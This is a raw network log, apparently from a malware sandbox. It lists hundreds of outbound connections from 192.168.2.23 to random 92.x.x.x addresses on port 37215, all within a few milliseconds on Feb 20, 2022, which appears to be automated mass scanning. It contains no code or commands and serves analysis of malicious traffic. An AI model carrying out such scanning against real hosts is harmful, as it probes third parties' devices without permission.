Feb 20, 2022 15:51:04.881377935 CET	1898	37215	192.168.2.23	92.196.81.79
Feb 20, 2022 15:51:04.881391048 CET	1898	37215	192.168.2.23	92.53.98.22
Feb 20, 2022 15:51:04.881405115 CET	1898	37215	192.168.2.23	92.8.147.21
Feb 20, 2022 15:51:04.881431103 CET	1898	37215	192.168.2.23	92.188.166.225
Feb 20, 2022 15:51:04.881448984 CET	1898	37215	192.168.2.23	92.250.232.159
Feb 20, 2022 15:51:04.881479025 CET	1898	37215	192.168.2.23	92.44.18.199
Feb 20, 2022 15:51:04.881499052 CET	1898	37215	192.168.2.23	92.132.189.189
Feb 20, 2022 15:51:04.881529093 CET	1898	37215	192.168.2.23	92.122.106.206
Feb 20, 2022 15:51:04.881553888 CET	1898	37215	192.168.2.23	92.177.166.30
Feb 20, 2022 15:51:04.881588936 CET	1898	37215	192.168.2.23	92.188.95.82
Feb 20, 2022 15:51:04.881603003 CET	1898	37215	192.168.2.23	92.132.33.79
Feb 20, 2022 15:51:04.881622076 CET	1898	37215	192.168.2.23	92.14.169.253
Feb 20, 2022 15:51:04.881635904 CET	1898	37215	192.168.2.23	92.167.242.252
Feb 20, 2022 15:51:04.881649971 CET	1898	37215	192.168.2.23	92.173.130.196
Feb 20, 2022 15:51:04.881680012 CET	1898	37215	192.168.2.23	92.92.196.182
Feb 20, 2022 15:51:04.881699085 CET	1898	37215	192.168.2.23	92.167.242.122
Feb 20, 2022 15:51:04.881714106 CET	1898	37215	192.168.2.23	92.136.81.4
Feb 20, 2022 15:51:04.881745100 CET	1898	37215	192.168.2.23	92.238.247.42
Feb 20, 2022 15:51:04.881772041 CET	1898	37215	192.168.2.23	92.105.194.33
Feb 20, 2022 15:51:04.881813049 CET	1898	37215	192.168.2.23	92.110.11.248
Feb 20, 2022 15:51:04.881819010 CET	1898	37215	192.168.2.23	92.6.115.178
Feb 20, 2022 15:51:04.881859064 CET	1898	37215	192.168.2.23	92.41.5.179
Feb 20, 2022 15:51:04.881867886 CET	1898	37215	192.168.2.23	92.120.83.92
Feb 20, 2022 15:51:04.881896973 CET	1898	37215	192.168.2.23	92.182.83.50
Feb 20, 2022 15:51:04.881908894 CET	1898	37215	192.168.2.23	92.216.68.92
Feb 20, 2022 15:51:04.881933928 CET	1898	37215	192.168.2.23	92.8.59.91
Feb 20, 2022 15:51:04.881961107 CET	1898	37215	192.168.2.23	92.150.143.26
Feb 20, 2022 15:51:04.881973982 CET	1898	37215	192.168.2.23	92.17.87.199
Feb 20, 2022 15:51:04.882013083 CET	1898	37215	192.168.2.23	92.130.39.89
Feb 20, 2022 15:51:04.882031918 CET	1898	37215	192.168.2.23	92.18.67.57
Feb 20, 2022 15:51:04.882049084 CET	1898	37215	192.168.2.23	92.75.66.158
Feb 20, 2022 15:51:04.882061958 CET	1898	37215	192.168.2.23	92.121.109.230
Feb 20, 2022 15:51:04.882107019 CET	1898	37215	192.168.2.23	92.214.152.25
Feb 20, 2022 15:51:04.882119894 CET	1898	37215	192.168.2.23	92.46.146.189
Feb 20, 2022 15:51:04.882138968 CET	1898	37215	192.168.2.23	92.166.37.141
Feb 20, 2022 15:51:04.882169008 CET	1898	37215	192.168.2.23	92.204.213.97
Feb 20, 2022 15:51:04.882179976 CET	1898	37215	192.168.2.23	92.10.230.24
Feb 20, 2022 15:51:04.882205963 CET	1898	37215	192.168.2.23	92.100.94.113
Feb 20, 2022 15:51:04.882216930 CET	1898	37215	192.168.2.23	92.61.195.117
Feb 20, 2022 15:51:04.882242918 CET	1898	37215	192.168.2.23	92.27.213.120
Feb 20, 2022 15:51:04.882272959 CET	1898	37215	192.168.2.23	92.155.235.175
Feb 20, 2022 15:51:04.882287979 CET	1898	37215	192.168.2.23	92.75.28.211
Feb 20, 2022 15:51:04.882318974 CET	1898	37215	192.168.2.23	92.1.125.162
Feb 20, 2022 15:51:04.882355928 CET	1898	37215	192.168.2.23	92.106.107.144
Feb 20, 2022 15:51:04.882385015 CET	1898	37215	192.168.2.23	92.80.200.92
Feb 20, 2022 15:51:04.882421970 CET	1898	37215	192.168.2.23	92.131.191.233
Feb 20, 2022 15:51:04.882426977 CET	1898	37215	192.168.2.23	92.165.71.108
Feb 20, 2022 15:51:04.882445097 CET	1898	37215	192.168.2.23	92.134.215.25
Feb 20, 2022 15:51:04.882468939 CET	1898	37215	192.168.2.23	92.229.31.171
Feb 20, 2022 15:51:04.882491112 CET	1898	37215	192.168.2.23	92.29.65.20
Feb 20, 2022 15:51:04.882517099 CET	1898	37215	192.168.2.23	92.94.119.162
Feb 20, 2022 15:51:04.882539988 CET	1898	37215	192.168.2.23	92.193.254.38
Feb 20, 2022 15:51:04.882569075 CET	1898	37215	192.168.2.23	92.45.182.124
Feb 20, 2022 15:51:04.882596970 CET	1898	37215	192.168.2.23	92.57.232.233
Feb 20, 2022 15:51:04.882612944 CET	1898	37215	192.168.2.23	92.32.255.47
Feb 20, 2022 15:51:04.882636070 CET	1898	37215	192.168.2.23	92.116.191.194
Feb 20, 2022 15:51:04.882675886 CET	1898	37215	192.168.2.23	92.93.69.174
Feb 20, 2022 15:51:04.882713079 CET	1898	37215	192.168.2.23	92.183.134.113
Feb 20, 2022 15:51:04.882714987 CET	1898	37215	192.168.2.23	92.169.246.228
Feb 20, 2022 15:51:04.882738113 CET	1898	37215	192.168.2.23	92.250.137.227
Feb 20, 2022 15:51:04.882770061 CET	1898	37215	192.168.2.23	92.203.137.13
Feb 20, 2022 15:51:04.882807016 CET	1898	37215	192.168.2.23	92.177.201.165
Feb 20, 2022 15:51:04.882823944 CET	1898	37215	192.168.2.23	92.166.46.172
Feb 20, 2022 15:51:04.882854939 CET	1898	37215	192.168.2.23	92.29.140.162
Feb 20, 2022 15:51:04.882870913 CET	1898	37215	192.168.2.23	92.78.116.111
Feb 20, 2022 15:51:04.882909060 CET	1898	37215	192.168.2.23	92.234.229.44
Feb 20, 2022 15:51:04.882917881 CET	1898	37215	192.168.2.23	92.66.53.255
Feb 20, 2022 15:51:04.882937908 CET	1898	37215	192.168.2.23	92.172.71.218
Feb 20, 2022 15:51:04.882957935 CET	1898	37215	192.168.2.23	92.210.250.71
Feb 20, 2022 15:51:04.882988930 CET	1898	37215	192.168.2.23	92.73.169.159
Feb 20, 2022 15:51:04.883013010 CET	1898	37215	192.168.2.23	92.12.21.45
Feb 20, 2022 15:51:04.883049965 CET	1898	37215	192.168.2.23	92.107.211.198
Feb 20, 2022 15:51:04.883057117 CET	1898	37215	192.168.2.23	92.29.94.179
Feb 20, 2022 15:51:04.883074999 CET	1898	37215	192.168.2.23	92.106.11.214
Feb 20, 2022 15:51:04.883105993 CET	1898	37215	192.168.2.23	92.196.67.207
Feb 20, 2022 15:51:04.883114100 CET	1898	37215	192.168.2.23	92.250.247.56
Feb 20, 2022 15:51:04.883141994 CET	1898	37215	192.168.2.23	92.36.120.204
Feb 20, 2022 15:51:04.883188009 CET	1898	37215	192.168.2.23	92.99.185.143
Feb 20, 2022 15:51:04.883198023 CET	1898	37215	192.168.2.23	92.176.236.204
Feb 20, 2022 15:51:04.883208990 CET	1898	37215	192.168.2.23	92.23.60.55
Feb 20, 2022 15:51:04.883234024 CET	1898	37215	192.168.2.23	92.139.172.131
Feb 20, 2022 15:51:04.883255005 CET	1898	37215	192.168.2.23	92.138.213.6
Feb 20, 2022 15:51:04.883281946 CET	1898	37215	192.168.2.23	92.5.14.73
Feb 20, 2022 15:51:04.883305073 CET	1898	37215	192.168.2.23	92.154.223.42
Feb 20, 2022 15:51:04.883322954 CET	1898	37215	192.168.2.23	92.231.34.72
Feb 20, 2022 15:51:04.883367062 CET	1898	37215	192.168.2.23	92.178.227.163
Feb 20, 2022 15:51:04.883383036 CET	1898	37215	192.168.2.23	92.253.85.116
Feb 20, 2022 15:51:04.883419037 CET	1898	37215	192.168.2.23	92.170.207.94
Feb 20, 2022 15:51:04.883424044 CET	1898	37215	192.168.2.23	92.193.62.1
Feb 20, 2022 15:51:04.883457899 CET	1898	37215	192.168.2.23	92.185.206.218
Feb 20, 2022 15:51:04.883483887 CET	1898	37215	192.168.2.23	92.206.92.23
Feb 20, 2022 15:51:04.883501053 CET	1898	37215	192.168.2.23	92.33.182.213
Feb 20, 2022 15:51:04.883527040 CET	1898	37215	192.168.2.23	92.227.145.10
Feb 20, 2022 15:51:04.883548021 CET	1898	37215	192.168.2.23	92.180.221.225
Feb 20, 2022 15:51:04.883574963 CET	1898	37215	192.168.2.23	92.109.115.192
Feb 20, 2022 15:51:04.883582115 CET	1898	37215	192.168.2.23	92.91.165.112
Feb 20, 2022 15:51:04.883611917 CET	1898	37215	192.168.2.23	92.65.93.135
Feb 20, 2022 15:51:04.883651972 CET	1898	37215	192.168.2.23	92.135.40.66
Feb 20, 2022 15:51:04.883655071 CET	1898	37215	192.168.2.23	92.130.95.43
Feb 20, 2022 15:51:04.883680105 CET	1898	37215	192.168.2.23	92.94.111.2
Feb 20, 2022 15:51:04.883697987 CET	1898	37215	192.168.2.23	92.251.247.163
Feb 20, 2022 15:51:04.883737087 CET	1898	37215	192.168.2.23	92.210.199.128
Feb 20, 2022 15:51:04.883754969 CET	1898	37215	192.168.2.23	92.135.122.38
Feb 20, 2022 15:51:04.883784056 CET	1898	37215	192.168.2.23	92.190.169.93
Feb 20, 2022 15:51:04.883800030 CET	1898	37215	192.168.2.23	92.126.5.252
Feb 20, 2022 15:51:04.883835077 CET	1898	37215	192.168.2.23	92.19.147.18
Feb 20, 2022 15:51:04.883847952 CET	1898	37215	192.168.2.23	92.253.245.66
Feb 20, 2022 15:51:04.883894920 CET	1898	37215	192.168.2.23	92.52.243.228
Feb 20, 2022 15:51:04.883900881 CET	1898	37215	192.168.2.23	92.118.220.53
Feb 20, 2022 15:51:04.883912086 CET	1898	37215	192.168.2.23	92.57.15.80
Feb 20, 2022 15:51:04.883948088 CET	1898	37215	192.168.2.23	92.230.219.16
Feb 20, 2022 15:51:04.883969069 CET	1898	37215	192.168.2.23	92.34.242.50
Feb 20, 2022 15:51:04.883987904 CET	1898	37215	192.168.2.23	92.101.70.35
Feb 20, 2022 15:51:04.884010077 CET	1898	37215	192.168.2.23	92.112.28.94
Feb 20, 2022 15:51:04.884038925 CET	1898	37215	192.168.2.23	92.152.148.161
Feb 20, 2022 15:51:04.884077072 CET	1898	37215	192.168.2.23	92.167.4.27
Feb 20, 2022 15:51:04.884114981 CET	1898	37215	192.168.2.23	92.236.112.229
Feb 20, 2022 15:51:04.884119034 CET	1898	37215	192.168.2.23	92.72.38.94
Feb 20, 2022 15:51:04.884156942 CET	1898	37215	192.168.2.23	92.185.237.206
Feb 20, 2022 15:51:04.884172916 CET	1898	37215	192.168.2.23	92.170.56.207
Feb 20, 2022 15:51:04.884187937 CET	1898	37215	192.168.2.23	92.98.224.6
Feb 20, 2022 15:51:04.884212017 CET	1898	37215	192.168.2.23	92.28.7.22
Feb 20, 2022 15:51:04.884231091 CET	1898	37215	192.168.2.23	92.114.160.15
Feb 20, 2022 15:51:04.884258032 CET	1898	37215	192.168.2.23	92.113.225.152
Feb 20, 2022 15:51:04.884275913 CET	1898	37215	192.168.2.23	92.202.100.33
Feb 20, 2022 15:51:04.884296894 CET	1898	37215	192.168.2.23	92.122.34.108
Feb 20, 2022 15:51:04.884326935 CET	1898	37215	192.168.2.23	92.245.78.157
Feb 20, 2022 15:51:04.884352922 CET	1898	37215	192.168.2.23	92.66.203.255
Feb 20, 2022 15:51:04.884380102 CET	1898	37215	192.168.2.23	92.230.204.87
Feb 20, 2022 15:51:04.884394884 CET	1898	37215	192.168.2.23	92.165.81.87
Feb 20, 2022 15:51:04.884413958 CET	1898	37215	192.168.2.23	92.199.53.234
Feb 20, 2022 15:51:04.884442091 CET	1898	37215	192.168.2.23	92.47.226.187
Feb 20, 2022 15:51:04.884459019 CET	1898	37215	192.168.2.23	92.34.179.236
Feb 20, 2022 15:51:04.884484053 CET	1898	37215	192.168.2.23	92.187.80.35
Feb 20, 2022 15:51:04.884505033 CET	1898	37215	192.168.2.23	92.10.173.63
Feb 20, 2022 15:51:04.884529114 CET	1898	37215	192.168.2.23	92.162.146.5
Feb 20, 2022 15:51:04.884560108 CET	1898	37215	192.168.2.23	92.221.198.220
Feb 20, 2022 15:51:04.884603024 CET	1898	37215	192.168.2.23	92.170.129.35
Feb 20, 2022 15:51:04.884618044 CET	1898	37215	192.168.2.23	92.212.216.7
Feb 20, 2022 15:51:04.884644985 CET	1898	37215	192.168.2.23	92.213.125.16
Feb 20, 2022 15:51:04.884685040 CET	1898	37215	192.168.2.23	92.103.71.199
Feb 20, 2022 15:51:04.884694099 CET	1898	37215	192.168.2.23	92.221.78.29
Feb 20, 2022 15:51:04.884735107 CET	1898	37215	192.168.2.23	92.200.27.55
Feb 20, 2022 15:51:04.884769917 CET	1898	37215	192.168.2.23	92.216.51.130
Feb 20, 2022 15:51:04.884774923 CET	1898	37215	192.168.2.23	92.212.156.65
Feb 20, 2022 15:51:04.884785891 CET	1898	37215	192.168.2.23	92.105.166.115
Feb 20, 2022 15:51:04.884830952 CET	1898	37215	192.168.2.23	92.89.100.94
Feb 20, 2022 15:51:04.884844065 CET	1898	37215	192.168.2.23	92.16.95.6
Feb 20, 2022 15:51:04.884881020 CET	1898	37215	192.168.2.23	92.129.160.14
Feb 20, 2022 15:51:04.884885073 CET	1898	37215	192.168.2.23	92.41.31.20
Feb 20, 2022 15:51:04.884913921 CET	1898	37215	192.168.2.23	92.115.198.217
Feb 20, 2022 15:51:04.884942055 CET	1898	37215	192.168.2.23	92.181.175.12
Feb 20, 2022 15:51:04.884967089 CET	1898	37215	192.168.2.23	92.215.137.13
Feb 20, 2022 15:51:04.884980917 CET	1898	37215	192.168.2.23	92.85.29.40
Feb 20, 2022 15:51:04.885019064 CET	1898	37215	192.168.2.23	92.217.174.71
Feb 20, 2022 15:51:04.885030031 CET	1898	37215	192.168.2.23	92.45.80.180
Feb 20, 2022 15:51:04.885057926 CET	1898	37215	192.168.2.23	92.251.132.108
Feb 20, 2022 15:51:04.885086060 CET	1898	37215	192.168.2.23	92.179.58.53
Feb 20, 2022 15:51:04.885112047 CET	1898	37215	192.168.2.23	92.195.2.137
Feb 20, 2022 15:51:04.885139942 CET	1898	37215	192.168.2.23	92.19.187.250
Feb 20, 2022 15:51:04.885179996 CET	1898	37215	192.168.2.23	92.173.103.34
Feb 20, 2022 15:51:04.885219097 CET	1898	37215	192.168.2.23	92.21.2.215
Feb 20, 2022 15:51:04.885246038 CET	1898	37215	192.168.2.23	92.20.90.70
Feb 20, 2022 15:51:04.885272980 CET	1898	37215	192.168.2.23	92.236.69.74
Feb 20, 2022 15:51:04.885282993 CET	1898	37215	192.168.2.23	92.204.238.85
Feb 20, 2022 15:51:04.885288954 CET	1898	37215	192.168.2.23	92.204.16.219
Feb 20, 2022 15:51:04.885303020 CET	1898	37215	192.168.2.23	92.189.252.31
Feb 20, 2022 15:51:04.885345936 CET	1898	37215	192.168.2.23	92.145.146.209
Feb 20, 2022 15:51:04.885358095 CET	1898	37215	192.168.2.23	92.4.107.224
Feb 20, 2022 15:51:04.885377884 CET	1898	37215	192.168.2.23	92.91.235.186
Feb 20, 2022 15:51:04.885417938 CET	1898	37215	192.168.2.23	92.40.29.59
Feb 20, 2022 15:51:04.885436058 CET	1898	37215	192.168.2.23	92.107.152.154
Feb 20, 2022 15:51:04.885457039 CET	1898	37215	192.168.2.23	92.213.50.135
Feb 20, 2022 15:51:04.885478973 CET	1898	37215	192.168.2.23	92.192.34.241
Feb 20, 2022 15:51:04.885509968 CET	1898	37215	192.168.2.23	92.37.56.94
Feb 20, 2022 15:51:04.885514975 CET	1898	37215	192.168.2.23	92.15.70.218
Feb 20, 2022 15:51:04.885546923 CET	1898	37215	192.168.2.23	92.193.247.161
Feb 20, 2022 15:51:04.885574102 CET	1898	37215	192.168.2.23	92.122.81.93
Feb 20, 2022 15:51:04.885591984 CET	1898	37215	192.168.2.23	92.25.111.189
Feb 20, 2022 15:51:04.885610104 CET	1898	37215	192.168.2.23	92.25.79.209
Feb 20, 2022 15:51:04.885638952 CET	1898	37215	192.168.2.23	92.38.37.245
Feb 20, 2022 15:51:04.885651112 CET	1898	37215	192.168.2.23	92.187.199.161
Feb 20, 2022 15:51:04.885678053 CET	1898	37215	192.168.2.23	92.9.181.80
Feb 20, 2022 15:51:04.885711908 CET	1898	37215	192.168.2.23	92.104.190.141
Feb 20, 2022 15:51:04.885735989 CET	1898	37215	192.168.2.23	92.200.55.3
Feb 20, 2022 15:51:04.885766983 CET	1898	37215	192.168.2.23	92.45.193.137
Feb 20, 2022 15:51:04.885799885 CET	1898	37215	192.168.2.23	92.235.8.88
Feb 20, 2022 15:51:04.885829926 CET	1898	37215	192.168.2.23	92.156.118.6
Feb 20, 2022 15:51:04.885868073 CET	1898	37215	192.168.2.23	92.101.15.251
Feb 20, 2022 15:51:04.885911942 CET	1898	37215	192.168.2.23	92.172.27.110
Feb 20, 2022 15:51:04.885938883 CET	1898	37215	192.168.2.23	92.42.153.225
Feb 20, 2022 15:51:04.885946035 CET	1898	37215	192.168.2.23	92.101.141.18
Feb 20, 2022 15:51:04.885957003 CET	1898	37215	192.168.2.23	92.137.57.108
Feb 20, 2022 15:51:04.885983944 CET	1898	37215	192.168.2.23	92.99.225.243
Feb 20, 2022 15:51:04.885998011 CET	1898	37215	192.168.2.23	92.131.126.26
Feb 20, 2022 15:51:04.886029005 CET	1898	37215	192.168.2.23	92.9.186.39
Feb 20, 2022 15:51:04.886043072 CET	1898	37215	192.168.2.23	92.155.58.34
Feb 20, 2022 15:51:04.886073112 CET	1898	37215	192.168.2.23	92.145.131.240
Feb 20, 2022 15:51:04.886096954 CET	1898	37215	192.168.2.23	92.131.194.124
Feb 20, 2022 15:51:04.886116982 CET	1898	37215	192.168.2.23	92.99.192.171
Feb 20, 2022 15:51:04.886142969 CET	1898	37215	192.168.2.23	92.78.7.230
Feb 20, 2022 15:51:04.886178970 CET	1898	37215	192.168.2.23	92.18.163.43
Feb 20, 2022 15:51:04.886192083 CET	1898	37215	192.168.2.23	92.84.108.230
Feb 20, 2022 15:51:04.886223078 CET	1898	37215	192.168.2.23	92.4.242.99
Feb 20, 2022 15:51:04.886243105 CET	1898	37215	192.168.2.23	92.4.221.89
Feb 20, 2022 15:51:04.886244059 CET	1898	37215	192.168.2.23	92.49.233.230
Feb 20, 2022 15:51:04.886251926 CET	1898	37215	192.168.2.23	92.77.195.178
Feb 20, 2022 15:51:04.886279106 CET	1898	37215	192.168.2.23	92.179.84.102
Feb 20, 2022 15:51:04.886301994 CET	1898	37215	192.168.2.23	92.97.185.141
Feb 20, 2022 15:51:04.886328936 CET	1898	37215	192.168.2.23	92.239.124.95
Feb 20, 2022 15:51:04.886349916 CET	1898	37215	192.168.2.23	92.212.95.235
Feb 20, 2022 15:51:04.886384010 CET	1898	37215	192.168.2.23	92.50.9.95
Feb 20, 2022 15:51:04.886404037 CET	1898	37215	192.168.2.23	92.153.40.173
Feb 20, 2022 15:51:04.886421919 CET	1898	37215	192.168.2.23	92.150.115.207
Feb 20, 2022 15:51:04.886445999 CET	1898	37215	192.168.2.23	92.245.59.173
Feb 20, 2022 15:51:04.886485100 CET	1898	37215	192.168.2.23	92.63.60.108
Feb 20, 2022 15:51:04.886498928 CET	1898	37215	192.168.2.23	92.2.159.225
Feb 20, 2022 15:51:04.886512041 CET	1898	37215	192.168.2.23	92.71.35.169
Feb 20, 2022 15:51:04.886516094 CET	1898	37215	192.168.2.23	92.185.210.237
Feb 20, 2022 15:51:04.886545897 CET	1898	37215	192.168.2.23	92.214.113.89
Feb 20, 2022 15:51:04.886563063 CET	1898	37215	192.168.2.23	92.146.67.175
Feb 20, 2022 15:51:04.886595964 CET	1898	37215	192.168.2.23	92.170.146.99
Feb 20, 2022 15:51:04.886610031 CET	1898	37215	192.168.2.23	92.112.87.54
Feb 20, 2022 15:51:04.886645079 CET	1898	37215	192.168.2.23	92.71.44.89
Feb 20, 2022 15:51:04.886657953 CET	1898	37215	192.168.2.23	92.89.180.233
Feb 20, 2022 15:51:04.886683941 CET	1898	37215	192.168.2.23	92.191.255.188
Feb 20, 2022 15:51:04.886729002 CET	1898	37215	192.168.2.23	92.116.162.235
Feb 20, 2022 15:51:04.886737108 CET	1898	37215	192.168.2.23	92.253.17.186
Feb 20, 2022 15:51:04.886759043 CET	1898	37215	192.168.2.23	92.24.30.120
Feb 20, 2022 15:51:04.886787891 CET	1898	37215	192.168.2.23	92.77.146.38
Feb 20, 2022 15:51:04.886815071 CET	1898	37215	192.168.2.23	92.131.112.56
Feb 20, 2022 15:51:04.886831045 CET	1898	37215	192.168.2.23	92.192.157.124
Feb 20, 2022 15:51:04.886859894 CET	1898	37215	192.168.2.23	92.27.245.111
Feb 20, 2022 15:51:04.886879921 CET	1898	37215	192.168.2.23	92.37.200.176
Feb 20, 2022 15:51:04.886902094 CET	1898	37215	192.168.2.23	92.136.200.143
Feb 20, 2022 15:51:04.886923075 CET	1898	37215	192.168.2.23	92.243.99.69
Feb 20, 2022 15:51:04.886934042 CET	1898	37215	192.168.2.23	92.25.103.231
Feb 20, 2022 15:51:04.886970997 CET	1898	37215	192.168.2.23	92.15.212.141
Feb 20, 2022 15:51:04.886986017 CET	1898	37215	192.168.2.23	92.14.172.80
Feb 20, 2022 15:51:04.887006044 CET	1898	37215	192.168.2.23	92.206.15.6
Feb 20, 2022 15:51:04.887027979 CET	1898	37215	192.168.2.23	92.50.218.85
Feb 20, 2022 15:51:04.887042999 CET	1898	37215	192.168.2.23	92.243.200.91
Feb 20, 2022 15:51:04.887083054 CET	1898	37215	192.168.2.23	92.66.135.33
Feb 20, 2022 15:51:04.887109041 CET	1898	37215	192.168.2.23	92.240.104.122
Feb 20, 2022 15:51:04.887118101 CET	1898	37215	192.168.2.23	92.214.53.168
Feb 20, 2022 15:51:04.887131929 CET	1898	37215	192.168.2.23	92.216.57.245
Feb 20, 2022 15:51:04.887171030 CET	1898	37215	192.168.2.23	92.57.81.152
Feb 20, 2022 15:51:04.887185097 CET	1898	37215	192.168.2.23	92.178.222.32
Feb 20, 2022 15:51:04.887206078 CET	1898	37215	192.168.2.23	92.52.193.24
Feb 20, 2022 15:51:04.887224913 CET	1898	37215	192.168.2.23	92.59.60.15
Feb 20, 2022 15:51:04.887270927 CET	1898	37215	192.168.2.23	92.147.40.90
Feb 20, 2022 15:51:04.887271881 CET	1898	37215	192.168.2.23	92.244.134.88
Feb 20, 2022 15:51:04.887305021 CET	1898	37215	192.168.2.23	92.253.135.229
Feb 20, 2022 15:51:04.887326956 CET	1898	37215	192.168.2.23	92.2.250.100
Feb 20, 2022 15:51:04.887357950 CET	1898	37215	192.168.2.23	92.248.220.34
Feb 20, 2022 15:51:04.887394905 CET	1898	37215	192.168.2.23	92.244.40.11
Feb 20, 2022 15:51:04.887437105 CET	1898	37215	192.168.2.23	92.1.68.73
Feb 20, 2022 15:51:04.887454033 CET	1898	37215	192.168.2.23	92.51.102.7
Feb 20, 2022 15:51:04.887494087 CET	1898	37215	192.168.2.23	92.195.89.87
Feb 20, 2022 15:51:04.887501955 CET	1898	37215	192.168.2.23	92.247.158.26
Feb 20, 2022 15:51:04.887526035 CET	1898	37215	192.168.2.23	92.24.100.23
Feb 20, 2022 15:51:04.887548923 CET	1898	37215	192.168.2.23	92.23.212.124
Feb 20, 2022 15:51:04.887578964 CET	1898	37215	192.168.2.23	92.96.153.200
Feb 20, 2022 15:51:04.887594938 CET	1898	37215	192.168.2.23	92.242.111.178
Feb 20, 2022 15:51:04.887614965 CET	1898	37215	192.168.2.23	92.32.73.56
Feb 20, 2022 15:51:04.887650967 CET	1898	37215	192.168.2.23	92.32.144.101
Feb 20, 2022 15:51:04.887650967 CET	1898	37215	192.168.2.23	92.94.46.159
Feb 20, 2022 15:51:04.887674093 CET	1898	37215	192.168.2.23	92.137.6.223
Feb 20, 2022 15:51:04.887707949 CET	1898	37215	192.168.2.23	92.108.235.120
Feb 20, 2022 15:51:04.887720108 CET	1898	37215	192.168.2.23	92.98.228.43
Feb 20, 2022 15:51:04.887758017 CET	1898	37215	192.168.2.23	92.106.241.70
Feb 20, 2022 15:51:04.887763977 CET	1898	37215	192.168.2.23	92.225.173.159
Feb 20, 2022 15:51:04.887790918 CET	1898	37215	192.168.2.23	92.241.255.219
Feb 20, 2022 15:51:04.887813091 CET	1898	37215	192.168.2.23	92.207.11.22
Feb 20, 2022 15:51:04.887840986 CET	1898	37215	192.168.2.23	92.255.65.180
Feb 20, 2022 15:51:04.887856007 CET	1898	37215	192.168.2.23	92.122.207.245
Feb 20, 2022 15:51:04.887885094 CET	1898	37215	192.168.2.23	92.130.195.77
Feb 20, 2022 15:51:04.887908936 CET	1898	37215	192.168.2.23	92.226.182.248
Feb 20, 2022 15:51:04.887944937 CET	1898	37215	192.168.2.23	92.85.92.90
Feb 20, 2022 15:51:04.887969017 CET	1898	37215	192.168.2.23	92.20.149.64
Feb 20, 2022 15:51:04.887995958 CET	1898	37215	192.168.2.23	92.188.19.41
Feb 20, 2022 15:51:04.888015985 CET	1898	37215	192.168.2.23	92.105.23.8
Feb 20, 2022 15:51:04.888037920 CET	1898	37215	192.168.2.23	92.233.157.204
Feb 20, 2022 15:51:04.888071060 CET	1898	37215	192.168.2.23	92.129.169.211
Feb 20, 2022 15:51:04.888092995 CET	1898	37215	192.168.2.23	92.171.229.88
Feb 20, 2022 15:51:04.888137102 CET	1898	37215	192.168.2.23	92.159.136.186
Feb 20, 2022 15:51:04.888165951 CET	1898	37215	192.168.2.23	92.13.1.88
Feb 20, 2022 15:51:04.888180017 CET	1898	37215	192.168.2.23	92.142.176.36
Feb 20, 2022 15:51:04.888195038 CET	1898	37215	192.168.2.23	92.38.88.68
Feb 20, 2022 15:51:04.888252020 CET	1898	37215	192.168.2.23	92.224.133.207
Feb 20, 2022 15:51:04.888264894 CET	1898	37215	192.168.2.23	92.49.215.82
Feb 20, 2022 15:51:04.888277054 CET	1898	37215	192.168.2.23	92.47.138.249
Feb 20, 2022 15:51:04.888282061 CET	1898	37215	192.168.2.23	92.53.174.27
Feb 20, 2022 15:51:04.888308048 CET	1898	37215	192.168.2.23	92.213.246.225
Feb 20, 2022 15:51:04.888349056 CET	1898	37215	192.168.2.23	92.50.139.159
Feb 20, 2022 15:51:04.888359070 CET	1898	37215	192.168.2.23	92.210.79.250
Feb 20, 2022 15:51:04.888375044 CET	1898	37215	192.168.2.23	92.159.4.192
Feb 20, 2022 15:51:04.888400078 CET	1898	37215	192.168.2.23	92.59.37.224
Feb 20, 2022 15:51:04.888432026 CET	1898	37215	192.168.2.23	92.249.216.231
Feb 20, 2022 15:51:04.888468981 CET	1898	37215	192.168.2.23	92.123.213.147
Feb 20, 2022 15:51:04.888499022 CET	1898	37215	192.168.2.23	92.58.181.169
Feb 20, 2022 15:51:04.888515949 CET	1898	37215	192.168.2.23	92.178.197.238
Feb 20, 2022 15:51:04.888541937 CET	1898	37215	192.168.2.23	92.206.212.103
Feb 20, 2022 15:51:04.888562918 CET	1898	37215	192.168.2.23	92.211.215.247
Feb 20, 2022 15:51:04.888585091 CET	1898	37215	192.168.2.23	92.31.198.196
Feb 20, 2022 15:51:04.888603926 CET	1898	37215	192.168.2.23	92.138.109.140
Feb 20, 2022 15:51:04.888628960 CET	1898	37215	192.168.2.23	92.33.49.66
Feb 20, 2022 15:51:04.888653994 CET	1898	37215	192.168.2.23	92.78.233.18
Feb 20, 2022 15:51:04.888695002 CET	1898	37215	192.168.2.23	92.38.248.145
Feb 20, 2022 15:51:04.888711929 CET	1898	37215	192.168.2.23	92.80.166.186
Feb 20, 2022 15:51:04.888725996 CET	1898	37215	192.168.2.23	92.8.84.194
Feb 20, 2022 15:51:04.888756990 CET	1898	37215	192.168.2.23	92.80.27.149
Feb 20, 2022 15:51:04.888780117 CET	1898	37215	192.168.2.23	92.43.119.24
Feb 20, 2022 15:51:04.888814926 CET	1898	37215	192.168.2.23	92.219.243.34
Feb 20, 2022 15:51:04.888818026 CET	1898	37215	192.168.2.23	92.95.77.197
Feb 20, 2022 15:51:04.888854027 CET	1898	37215	192.168.2.23	92.4.94.218
Feb 20, 2022 15:51:04.888890028 CET	1898	37215	192.168.2.23	92.8.163.18
Feb 20, 2022 15:51:04.888920069 CET	1898	37215	192.168.2.23	92.100.166.109
Feb 20, 2022 15:51:04.888936043 CET	1898	37215	192.168.2.23	92.223.26.102
Feb 20, 2022 15:51:04.888962030 CET	1898	37215	192.168.2.23	92.170.80.225
Feb 20, 2022 15:51:04.888993025 CET	1898	37215	192.168.2.23	92.31.72.132
Feb 20, 2022 15:51:04.889013052 CET	1898	37215	192.168.2.23	92.36.37.16
Feb 20, 2022 15:51:04.889028072 CET	1898	37215	192.168.2.23	92.96.204.58
Feb 20, 2022 15:51:04.889053106 CET	1898	37215	192.168.2.23	92.177.72.84
Feb 20, 2022 15:51:04.889084101 CET	1386	37215	192.168.2.23	92.46.91.206
Feb 20, 2022 15:51:04.889094114 CET	1386	37215	192.168.2.23	92.246.40.196
Feb 20, 2022 15:51:04.889106989 CET	1898	37215	192.168.2.23	92.132.155.5
Feb 20, 2022 15:51:04.889118910 CET	1898	37215	192.168.2.23	92.186.219.222
Feb 20, 2022 15:51:04.889142036 CET	1898	37215	192.168.2.23	92.173.69.61
Feb 20, 2022 15:51:04.889162064 CET	1898	37215	192.168.2.23	92.248.12.154
Feb 20, 2022 15:51:04.889194012 CET	1898	37215	192.168.2.23	92.168.62.64
Feb 20, 2022 15:51:04.889219999 CET	1386	37215	192.168.2.23	92.102.189.64
Feb 20, 2022 15:51:04.889224052 CET	1898	37215	192.168.2.23	92.199.36.16
